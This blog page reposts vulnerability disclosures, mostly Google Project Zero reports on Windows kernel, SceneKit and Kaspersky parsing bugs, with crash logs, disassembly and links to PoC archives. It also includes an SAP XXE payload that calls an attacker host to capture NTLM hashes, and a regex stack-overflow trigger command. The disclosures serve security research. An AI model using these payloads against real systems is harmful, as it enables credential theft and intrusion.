Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863170750

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Title: SAP Netwaver - XML External Entity Injection
Author: Lukasz Miedzinski
GPG: Public key provided in attachment
Date: 29/10/2014
CVE: CVE-2015-7241

Affected software :
===================

SAP Netwear : <7.01

Vendor advisories (only for customers):
===================
External ID : 851975 2014
Title:  XML External Entity vulnerability in SAP XML Parser
Security Note: 2098608
Advisory Plan Date: 12/5/2014
Delivery date of fix/Patch Day: 10/2/2014
CVSS Base Score: 5.5
CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P


Description :
=============
XML External Entity Injection vulnerability has been found in the XML
parser in the System

Administration->XML Content and Actions -> Import section.


Vulnerabilities :
*****************

XML External Entity Injection :
======================


Example show how pentester is able to get NTLM hash of application's user.

Content of file (PoC) :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]>
<root/>

When pentester has metasploit smb_capture module run, then application
will contatc him and provide

NTLM hash of user.


Contact :
=========

Lukasz[dot]Miedzinski[at]gmail[dot]com
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=428

OS X Libc uses the slightly obscure TRE regex engine [ http://laurikari.net/tre/ ]

If used in enhanced mode (by passing the REG_ENHANCED flag to regcomp) TRE supports arbitrary-width hex literals. Here is the code used to parse them:

  /* Wide char. */
  char tmp[32];
  long val;
  int i = 0;
  ctx->re++;
  while (ctx->re_end - ctx->re >= 0)
    {
      if (ctx->re[0] == CHAR_RBRACE)
        break;
      if (tre_isxdigit_l(ctx->re[0], ctx->loc))
        {
    tmp[i] = (char)ctx->re[0];
    i++;
    ctx->re++;
    continue;
        }
      return REG_EBRACE;
    }

ctx->re points to the regex characters. This code blindly copies hex characters from the regex into the 32 byte stack buffer tmp until it encounters either a non-hex character or a '}'...

I'm still not sure exactly what's compiled with REG_ENHANCED but at least grep is; try this PoC on an OS X machine:

lldb -- grep "\\\\x{`perl -e 'print "A"x1000;'`}" /bin/bash

That should crash trying to read and write pointers near 0x4141414141414141

Severity Medium because I still need to find either a priv-esc or remote context in which you can control the regex when REG_ENHANCED is enabled.
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=467

There is a heap overflow in daeElement::setElementName(). The 
vulnerable method uses a fixed size (128 bytes) heap-allocated buffer to 
copy the name of an arbitrary element. By setting the name of the element
to something larger the buffer is overflown.

The vulnerable code does something like this:
if (element_name) {
  if (!this->name) {
    this->name = new char[128];
  }
  strcpy(this->name, element_name);
}

The element_name is supplied by the user and can be more than 128
characters long.

Steps to reproduce (Note: you need to enable libgmalloc):
a) $ lldb
b) (lldb) target create /usr/bin/qlmanage
   Current executable set to '/usr/bin/qlmanage' (x86_64).
c) (lldb) env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
d) (lldb) process launch -- -p setElementNameOOB.dae
    Process 4460 stopped
    * thread #3: tid = 0x5fdc, 0x00007fff92fbf108 libsystem_c.dylib`strcpy + 104, queue = 'com.apple.root.default-qos', stop reason = EXC_BAD_ACCESS (code=1, address=0x123445409000)
        frame #0: 0x00007fff92fbf108 libsystem_c.dylib`strcpy + 104
    libsystem_c.dylib`strcpy:
    ->  0x7fff92fbf108 <+104>: movdqu xmmword ptr [rdi + rcx + 0x10], xmm1
        0x7fff92fbf10e <+110>: add    rcx, 0x10
        0x7fff92fbf112 <+114>: movdqa xmm1, xmmword ptr [rsi + rcx + 0x10]
        0x7fff92fbf118 <+120>: pxor   xmm0, xmm0
e) (lldb) bt
    * thread #3: tid = 0x5fdc, 0x00007fff92fbf108 libsystem_c.dylib`strcpy + 104, queue = 'com.apple.root.default-qos', stop reason = EXC_BAD_ACCESS (code=1, address=0x123445409000)
      * frame #0: 0x00007fff92fbf108 libsystem_c.dylib`strcpy + 104
        frame #1: 0x0000000137c4eb4f SceneKit`daeMetaElement::create(char const*) + 199
        frame #2: 0x0000000137c4bf80 SceneKit`daeIOPluginCommon::beginReadElement(daeElement*, char const*, std::__1::vector<std::__1::pair<char const*, char const*>, std::__1::allocator<std::__1::pair<char const*, char const*> > > const&, int) + 80
        frame #3: 0x0000000137c5aaf3 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 369
        frame #4: 0x0000000137c5ac51 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 719
        frame #5: 0x0000000137c5ac51 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 719
        frame #6: 0x0000000137c5ac51 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 719
        frame #7: 0x0000000137c5ac51 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 719
        frame #8: 0x0000000137c5a8cf SceneKit`daeLIBXMLPlugin::read(_xmlTextReader*) + 109
        frame #9: 0x0000000137c5a914 SceneKit`daeLIBXMLPlugin::readFromMemory(char const*, daeURI const&) + 54
        frame #10: 0x0000000137c4bd1d SceneKit`daeIOPluginCommon::read(daeURI const&, char const*) + 167
    frame #11: 0x0000000137c3eb77 SceneKit`DAE::openCommon(daeURI const&, char const*) + 55

This bug has been tested on:
$ sw_vers 
ProductName:  Mac OS X
ProductVersion: 10.10.3
BuildVersion: 14D136

$ qlmanage --version
QuickLook framework: v5.0 (675.42)

Attached are two files:
1) setElementNameOOB.dae - the POC dae file.
2) setElementNameOOB_dae.crashlog.txt - the CrashWrangler log.

Attack vector:
This bug can be triggered by any application that uses the QuickLook framework to generate a preview/thumbnail of DAE (COLLADA) files. For example, loading the supplied POC in Preview or selecting the file in Finder and hitting <space> will trigger the bug.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38264.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=311

Bitmap object Use-after-Free #2

The attached PoC triggers a blue screen due to a use after free vulnerability. The crashes are unreliable, however you can use Special Pool in order to get reliable crashes. The crashes indicate that it is possible to write to arbitrary addresses.

---
please find the PoC and brief analysis for the issue attached. The analysis mentions how Special Pool can be used to get very reliable crashes, it should crash without Special Pool after a while as well. 
--

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38265.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=339

The attached PoC demonstrate a use-after-free condition that occurs when operating on a DeferWindowPos object from multiple threads. The DeferWindowPos() call will trigger and block on the execution of a window procedure in a separate thread from which we call EndDeferWindowPos on the same handle. specialpool.txt contains the debugger output with Session Pool enabled, crash.txt the debugger output without Session Pool.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38266.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=335

Freed memory is accessed after switching between two desktops of which one is closed. The testcase crashes with and without special pool enabled. The attached crash output is with special enabled on win32k.sys and ntoskrnl.sys.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38267.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=320

The PoC bug checks reliably with Special Pool enabled on writing to freed memory. A reference to the freed memory is held at offset +0x10 of the THREADINFO object. This memory is referenced in HmgAllocateObjectAttr which is called in multiple locations. The freed memory is a struct inside a Brush Object which is freed in the call NtGdiDeleteObjectApp.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38269.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=321

The PoC triggers a crashes due to a pool buffer overflow while drawing the caption bar of window.  The trigger depends on the current window layout and resolution. The PoC takes an offset on the command line to be able to test with different values, I tested this on two different Win7 32-bit VM's and had success with 0 and 475000 (Resolution was 1024x768 and 1280x1024). A bruteforce Python script is also attached which should trigger a crash fairly quickly.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38268.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=313

The PoC triggers a pool buffer overflow in win32k!vSolidFillRect. When using Special Pool we get the crash immediately on the overwrite. Without Special Pool we often get a crash in the same function, but sometimes it crashes in a different function (similar to another issue, however with a different offset). This might be a result of the memory corruption or an out-of-memory condition before the overflow is triggered. Debugger output for all three different crashes attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38270.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=304

Creating a device context with the flag (DCX_NORESETATTRS) and selecting a brush object into the device context will result in the brush being freed on process exit without the reference to the object being cleared. The PoC consists of two files (prime304.cpp  and poc304.cpp). poc304 will execute prime304, which triggers the issue and allows poc304 to retrieve a handle to the device context with the pointer to the freed object. We can confirm this by requesting the handle for the brush object from the device context, resulting in reading freed memory. In some cases the issue leads to memory corruption when for example another object is allocated into the space of the free brush object (see attached crash logs for examples).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38272.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=312

This issue is very likely a null pointer issue affecting 32-bit Windows version. The offset is from add onto another offset which isn't quite zero, so not 100% convinced it is just a null pointer, however I wasn't able to influence the values. because it was very straight forward to get EIP there is a PoC setting EIP to 0xdeadbeef
Debug output attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38271.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=295

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with caveats:
- PoC MUST be compiled in release mode.
- PoC may need to be run a few times to trigger the crash.

Analysis is attached as a text file.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38273.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=294

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with a caveat
- PoC might NOT work if compiled as a debug build.

windbg.txt is a sample crash log.

Analysis from Nils:

---
please find attached a C trigger, windbg output and the minimised testcase of a null pointer issue (exploitable on Win 7 32-bit). The trigger also demonstrates that the null page can be mapped in user mode and accessed from kernel mode.

Quick analysis:

The trigger creates a new window station which is freed during the process clean up. Through the clipboard operations the window's last reference is hold by the clipboard which is freed during the clean up of the window station object. This will also result in destroying the window object at a time where _gptiCurrent (threadinfo) is already set to null. This is used in xxxDestroyWindow in multiple locations. Depending on the window type it is potentially possible to trigger different kinds of crashes, this one demonstrates a write to a chosen memory location:

win32k!HMChangeOwnerThread+0x40:
96979765 ff412c          inc     dword ptr [ecx+2Ch]  ds:0023:bebebeea=????????
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38274.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=293

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with two caveats:
- PoC will NOT work if compiled as a debug build.
- PoC will trigger the condition every time but the subsequent corruption might not cause a crash every time. It may be necessary to run the PoC multiple times.

debug.txt is a sample crash log.

Analysis from Nils:

---
Using the series of calls we are able to free the bitmap object, a reference to this object still exists in the trigger process after killing the first notepad process.

At this time we are able to replace the freed object in memory. We are not able to reuse this object through the original handle, however another free is triggered when quitting the trigger process, which will decrement the reference counter on the freed or replaced object, either modifying heap metadata or freeing the object which was allocated in the place of the original bitmap object.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38275.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=457

---
The attached testcase crashes Win 7 with Special Pool enabled while accessing the freed global cursor object (_gpqCursor). See poc.cpp for instructions on how to compile and run.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38278.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=415

---
Tested on Win 7 32-bit with Special Pool enabled. 

Multiple pool buffer overflows can be triggered through the NtGdiStretchBlt system call. The attached PoC demonstrates a write overflow and another read over flow issue which is likely to be usable for memory leaks (enabled by uncommenting the first NtGdiStretchBlt call).
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38280.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=522

Fuzzing VB6 executables produced the attached crash testcase:

(5a8.dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=0a07e8ec ecx=0a07eb04 edx=00000000 esi=0907e924 edi=00000010
eip=13d64b78 esp=0ea6ee30 ebp=0ea6ee38 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
13d64b78 0fb60e          movzx   ecx,byte ptr [esi]         ds:002b:0907e924=??

# where does esi come from?
0:121> ub @eip La
13d64b60 55              push    ebp
13d64b61 8bec            mov     ebp,esp
13d64b63 8b4514          mov     eax,dword ptr [ebp+14h]
13d64b66 57              push    edi
13d64b67 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
13d64b6a f7d0            not     eax
13d64b6c 85ff            test    edi,edi
13d64b6e 0f849e000000    je      13d64c12
13d64b74 56              push    esi
13d64b75 8b7510          mov     esi,dword ptr [ebp+10h]

# Okay, it's a parameter
0:121> kvn1
 # ChildEBP RetAddr  Args to Child              
00 0ea6ee38 14424d8f 1656cae4 00000010 0907e924 0x13d64b78
0:121> ub 14424d8f La
14424d77 8b4304          mov     eax,dword ptr [ebx+4]    <-- load index
14424d7a 03c3            add     eax,ebx                  <-- add to pointer
14424d7c 8d4c3bf0        lea     ecx,[ebx+edi-10h]        <-- probably load bounds of buffer
14424d80 3bc1            cmp     eax,ecx                  <-- check if index is in bounds
14424d82 771f            ja      14424da3                 <-- too late, overflow has already happened
14424d84 6a00            push    0
14424d86 50              push    eax < +0x10
14424d87 6a10            push    10h
14424d89 56              push    esi
14424d8a e8d1fd93ff      call    13d64b60

Looks like the code is doing

ptr += offset;
if (ptr > ptr+SizeOfBuffer)
 goto error;

This is obviously incorrect, because the offset can wrap. Where does that value come from?

0:121> dd ebx
0a07e8ec  00000228 ff000038 000000d0 000000f8
0a07e8fc  0000014f 00000120 00000158 000001bc
0a07e90c  00000048 00000000 00000204 00000211
0a07e91c  38000208 00000000 02a69b00 101b081b
0a07e92c  00083389 5a4f2f2b 02a69b02 101b081b
0a07e93c  00083389 5a4f2f2b 09194000 11cfdf6e
0a07e94c  a000748e f8260fc9 bac300ac 4551fc30
0a07e95c  204f1db8 383f2a55 77696e7e 4df2a25e

That is from the input file:

*0001e10: 2802 0000 3800 00ff d000 0000 f800 0000  (...8...........
 0001e20: 4f01 0000 2001 0000 5801 0000 bc01 0000  O... ...X.......
 0001e30: 4800 0000 0000 0000 0402 0000 1102 0000  H...............
 0001e40: 0802 0038 0000 0000 009b a602 1b08 1b10  ...8............
 0001e50: 8933 0800 2b2f 4f5a 029b a602 1b08 1b10  .3..+/OZ........
 0001e60: 8933 0800 2b2f 4f5a 0040 1909 6edf cf11  .3..+/OZ.@..n...

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38281.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=525

Fuzzing packed executables found the attached crash, it might be usable as an information leak as part of another bug, so filing as a low-risk bug. If I had to guess, I would say this is the ExeCryptor unpacker.

(83c.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0b61f00c ebx=00030ff4 ecx=00000000 edx=00000000 esi=0409005c edi=00000000
eip=15cc7e73 esp=0441ecf8 ebp=0441ef18 iopl=0         nv up ei pl nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010217
15cc7e73 803c03e9        cmp     byte ptr [ebx+eax],0E9h    ds:002b:0b650000=??

What is that code doing?

0:021> u
15cc7e73 803c03e9        cmp     byte ptr [ebx+eax],0E9h
15cc7e77 0f8596000000    jne     15cc7f13
15cc7e7d 8b540301        mov     edx,dword ptr [ebx+eax+1]
15cc7e81 8d441a05        lea     eax,[edx+ebx+5]
15cc7e85 33c9            xor     ecx,ecx
15cc7e87 3d00100000      cmp     eax,1000h
15cc7e8c 0f9cc1          setl    cl
15cc7e8f 33d2            xor     edx,edx

That edx+ebx+5 gives it away, it's searching for a jmp opcode and trying to pull out the branch target.

Why did it get lost? I'll put a breakpoint there and see where it goes wrong:

0:021> bp @eip
0:021> .restart
Breakpoint 0 hit
eax=0584f00c ebx=00000000 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7e73 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
15cc7e73 803c03e9        cmp     byte ptr [ebx+eax],0E9h    ds:002b:0584f00c=00

That looks fine, eax is the start of the buffer to search, and ebx is the index to look for a jmp opcode.

0:024> t
eax=0584f00c ebx=00000000 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7e77 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei pl nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000217
15cc7e77 0f8596000000    jne     15cc7f13                                [br=1]
0:024> t
eax=0584f00c ebx=00000000 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7f13 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei pl nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000217
15cc7f13 43              inc     ebx
0:024> t
eax=0584f00c ebx=00000001 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7f14 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203
15cc7f14 8d47fb          lea     eax,[edi-5]
0:024> t
eax=fffffffb ebx=00000001 ecx=0497eb4c edx=00000000 esi=05a1005c edi=00000000
eip=15cc7f17 esp=0497ebc4 ebp=0497ede4 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000203
15cc7f17 3bd8            cmp     ebx,eax


Ah, that's the bug, it's wrapping past zero and never exiting. The code is probably doing:

do {
 if (ptr[index] != JMP_OPCODE)
   index -= SIZEOF_JMP;
} while (index != 0);


That's a bug, because if index < SIZEOF_JMP, it will wrap and never exit. I would think it should decrement by 1 not sizeof(jmp) anyway, because jmps do not have to be aligned, but  I don't know anything about ExeCryptor - maybe it makes sense.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38282.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=526

Fuzzing of packed executables found the attached crash.

0:022> g
(83c.bbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0bd2 esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010a06
15de0bd2 8a843700040000  mov     al,byte ptr [edi+esi+400h] ds:002b:84320483=??

If I step through that address calculation:

0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000022 edi=0432005c
eip=15de0d3a esp=0bb4ee04 ebp=0bb4ee20 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
15de0d3a 03f0            add     esi,eax
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0d3c esp=0bb4ee04 ebp=0bb4ee20 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
15de0d3c 3b75f0          cmp     esi,dword ptr [ebp-10h] ss:002b:0bb4ee10=000003f1
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0d3f esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000a06
15de0d3f 0f8c8dfeffff    jl      15de0bd2                                [br=1]
0:022> p
eax=00000005 ebx=04320481 ecx=7ffffffd edx=f50139ce esi=80000027 edi=0432005c
eip=15de0bd2 esp=0bb4ee04 ebp=0bb4ee20 iopl=0         ov up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000a06
15de0bd2 8a843700040000  mov     al,byte ptr [edi+esi+400h] ds:002b:84320483=??

This looks like an integer overflow:

int base;
int index;

if (base + index > argMaxSize)
 goto error;

Because it's a signed comparison, 7ffffffd + 5 is

0:022> ? ecx + eax
Evaluate expression: -2147483646

Which is less than 0x3f1, the size parameter. Those values are directly from the executable being scanned.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38283.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=519

Fuzzing the DEX file format found a crash that loads a function pointer from an attacker controlled pointer, on Windows this results in a call to an unmapped address. This is obviously exploitable for remote, zero-interaction code execution as NT AUTHORITY\SYSTEM on any system with Kaspersky Antivirus. I've tested Windows, Linux, Mac and a product using the Kaspersky SDK (ZoneAlarm Pro), all were exploitable.

(5dc.990): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=9c000000 ebx=00000000 ecx=053ef3ec edx=00020009 esi=04130d40 edi=800000d8
eip=9c000000 esp=053eec14 ebp=053eec74 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
9c000000 ??              ???
0:026> kv
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
053eec10 1740927e 04137af0 04137ac8 04130d40 0x9c000000
053eecb8 70118a64 04130d40 00000002 04130d40 0x1740927e
053eecd0 70116a1c 04130d40 0000234c 00000001 kavbase_kdl!KLAV_Engine_Create+0x17a62
053eed80 70113829 04130d40 0500234c 00000000 kavbase_kdl!KLAV_Engine_Create+0x15a1a
053eedc0 70117156 04130d40 107407b4 00000001 kavbase_kdl!KLAV_Engine_Create+0x12827
053eee6c 70113926 04130d40 20000001 00000000 kavbase_kdl!KLAV_Engine_Create+0x16154
053eee94 701167f2 04130d40 000001e3 053eeed4 kavbase_kdl!KLAV_Engine_Create+0x12924
053eeea4 70112c28 04130d40 00000067 0e5100a2 kavbase_kdl!KLAV_Engine_Create+0x157f0
053eeed4 70112cef 053eeee0 04130d40 16d30ae0 kavbase_kdl!KLAV_Engine_Create+0x11c26
0:026> .frame /c 1
01 053eecb8 70118a64 0x1740927e
eax=9c000000 ebx=00000000 ecx=053ef3ec edx=00020009 esi=04130d40 edi=800000d8
eip=1740927e esp=053eec18 ebp=053eec74 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
1740927e 83c404          add     esp,4
0:026> ub
17409269 8b45fc          mov     eax,dword ptr [ebp-4]
1740926c 85c0            test    eax,eax
1740926e 7411            je      17409281
17409270 c745fc00000000  mov     dword ptr [ebp-4],0
17409277 8b10            mov     edx,dword ptr [eax]
17409279 50              push    eax
1740927a 8b02            mov     eax,dword ptr [edx] <-- corrupt attacker controlled pointer
1740927c ffd0            call    eax                 <-- attacker gains control of execution


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38284.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=524

Fuzzing CHM files with Kaspersky Antivirus produced the attached crash.

(83c.fec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bd3e470 ebx=00000ef1 ecx=00000000 edx=0b002fb0 esi=00000018 edi=0bd3e473
eip=15edb522 esp=0bd3e234 ebp=0bd3e240 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
15edb522 8a12            mov     dl,byte ptr [edx]          ds:002b:0b002fb0=??

Where does edx come from?

0:085> uf 15edb4f0
15edb4f0 55              push    ebp
...
15edb520 8b10            mov     edx,dword ptr [eax]
15edb522 8a12            mov     dl,byte ptr [edx]
15edb524 8817            mov     byte ptr [edi],dl
15edb526 ff00            inc     dword ptr [eax]
15edb528 47              inc     edi
15edb529 83c6ff          add     esi,0FFFFFFFFh
15edb52c 83d1ff          adc     ecx,0FFFFFFFFh
15edb52f 8bd6            mov     edx,esi
15edb531 0bd1            or      edx,ecx
15edb533 75eb            jne     15edb520

...

Edx is a parameter, and this is a simple memcpy loop.

for (i = ArgSize; i > 0; i--) {
    *argDestPtr++ = *argSrcPtr++;
}

But why is the input pointer corrupt, that should be a pointer to the input buffer (i.e. the CHM being scanned)?

0:018> kvn1
 # ChildEBP RetAddr  Args to Child              
00 03f4e1c0 15edb73b 0000022f 00000000 0afda8d4 0x15edb522
0:018> ub 15edb73b 
15edb725 3bc1            cmp     eax,ecx
15edb727 774f            ja      15edb778
15edb729 52              push    edx
15edb72a 50              push    eax
15edb72b 8d95e8fdffff    lea     edx,[ebp-218h]    <-- destination buffer
15edb731 8bcb            mov     ecx,ebx
15edb733 8d45fc          lea     eax,[ebp-4]
15edb736 e8b5fdffff      call    15edb4f0


Ah, the destination is a fixed size stack buffer (I'm guessing 512 bytes), so if the size read from the input is greater than 512 (in this case it's 0x22f), the stack will be corrupted.

The input pointer is corrupt because the loop overwrites the src pointer with attacker controlled input and then it crashes trying to read from it. That can obviously be fixed by an attacker, so this is an exploitable stack buffer overflow.

It seems likely /GS would have made this unexploitable.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38285.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=527

While fuzzing UPX packed files, this crash was discovered resulting in an arbitrary stack-relative write. This vulnerability is obviously remotely exploitable for remote code execution as NT AUTHORITY\SYSTEM.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000001 ecx=f93900c7 edx=00000020 esi=00000001 edi=057b9d60
eip=15ea22da esp=0497eb2c ebp=0497ec80 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
15ea22da 01840dbcfeffff  add     dword ptr [ebp+ecx-144h],eax ss:002b:fdd0ec03=????????

This decoding loop is trying to modify a value in a stack buffer with an attacker controlled index.

The index and Those values are taken verbatim from the input:

50 BC C7 00 39 F9 0F B6 47 FB F7 D8 01 04 24 39
C7 83 EF F1 8D 7F F2 80 7F FB 0A 89 E4 8B C9 8D
00 58 FC 90 8D 3F 77 D2 8D 36 8D 00 B8 54 C8 B4
F6 31 44 24 FC 8B 44 24 04 31 44 24 FC 75 A3 90
90 FC 90 FC 89 DB 9B FC 9B FC 83 E9 ED 83 C4 08

And the value being added is from here:

00 00 00 00 82 51 33 4D 00 00 A3 02 02 00 03 00
D8 01 00 80 38 00 00 80 EE 01 00 80 78 00 00 80
03 00 00 00 B8 00 00 80 0E 00 00 00 58 01 00 80
10 00 00 00 98 01 00 80 00 00 00 00 00 00 00 00

The bug is that the index is not verified, resulting in an arbitrary write. This is obviously exploitable for arbitrary code execution.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38286.zip